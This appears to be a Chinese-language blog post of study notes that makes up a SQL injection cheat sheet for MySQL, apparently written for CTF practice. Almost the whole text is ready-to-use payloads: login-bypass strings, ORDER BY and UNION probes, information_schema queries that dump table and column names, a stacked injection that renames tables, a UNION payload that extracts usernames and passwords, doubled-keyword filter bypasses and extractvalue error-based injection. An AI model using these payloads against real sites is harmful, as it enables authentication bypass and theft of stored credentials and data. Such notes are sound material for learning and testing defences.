SQL注入


信息收集

数据库版本:version() 5.0以上为高版本,以下为低版本。高版本中存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,可以查询它获取数据库表名列名的信息

数据库名字:database() 查询数据库:';show databases;#

数据库用户:user()

操作系统:@@version_compile_os

查询指定数据库名下的表名group_concat(table_name) from information_schema.tables where table_schema='数据库名字'

查询指定表名下的列名信息group_concat(column_name) from information_schema.columns where table_name='表名'

查询指定数据username from 列名

万能密码
1′ or ‘1’=’1
1′ or 1=1#
admin’or 1=1#

判断注入拆解列名数量(字段数)错误与正常的正常值

order by x 或者1′ union select 1,2 #或者1' order by 1#

堆叠注入

查询表: 1';show tables;#

查询表中字段:1'; show columns from 要查询的字段; #

改名字:1';RENAME TABLE wordsTOwords1;RENAME TABLE 1919810931114514TOwords;ALTER TABLE wordsCHANGEflag id VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

URL中的注入

注意:URL中不能用# 只能用%23

查询字段数:admin' order by 数字(输到报错)%23

用union查询测试注入点(回显点位):1' union select 1,2,3%23&password=1

查询当前数据库名及版本:1' union select 1,database(),version()%23

可知当前数据库 :1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

查询表(爆表):1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表的名字'%23

爆数据:1' union select 1,2,group_concat(id,username,password) from 表的名字%23

SQL注入

当遇到关键字过滤的时候可以尝试 双写绕过 登陆失败,尝试注释掉password内容:for : foforr from: frfromom or: oorr union: uniunionon select: selselectect information: infoorrmation where: whwhereere 空格被过滤可以用()代替

报错注入

查询数据库名:“admin’^extractvalue(1,concat(0x7e,(select(database()))))%23 爆表:admin’^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(‘数据库的名字’)))))%23 爆字段:left() right() 拼接admin’^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(‘表的名字’)))))%23`

extractvalue() ()来代替空格,使用like来代替=号

原创文章,作者:端木书台,如若转载,请注明出处:https://blog.ytso.com/276690.html

(0)
上一篇 2022年7月24日
下一篇 2022年7月24日

相关推荐

发表回复

登录后才能评论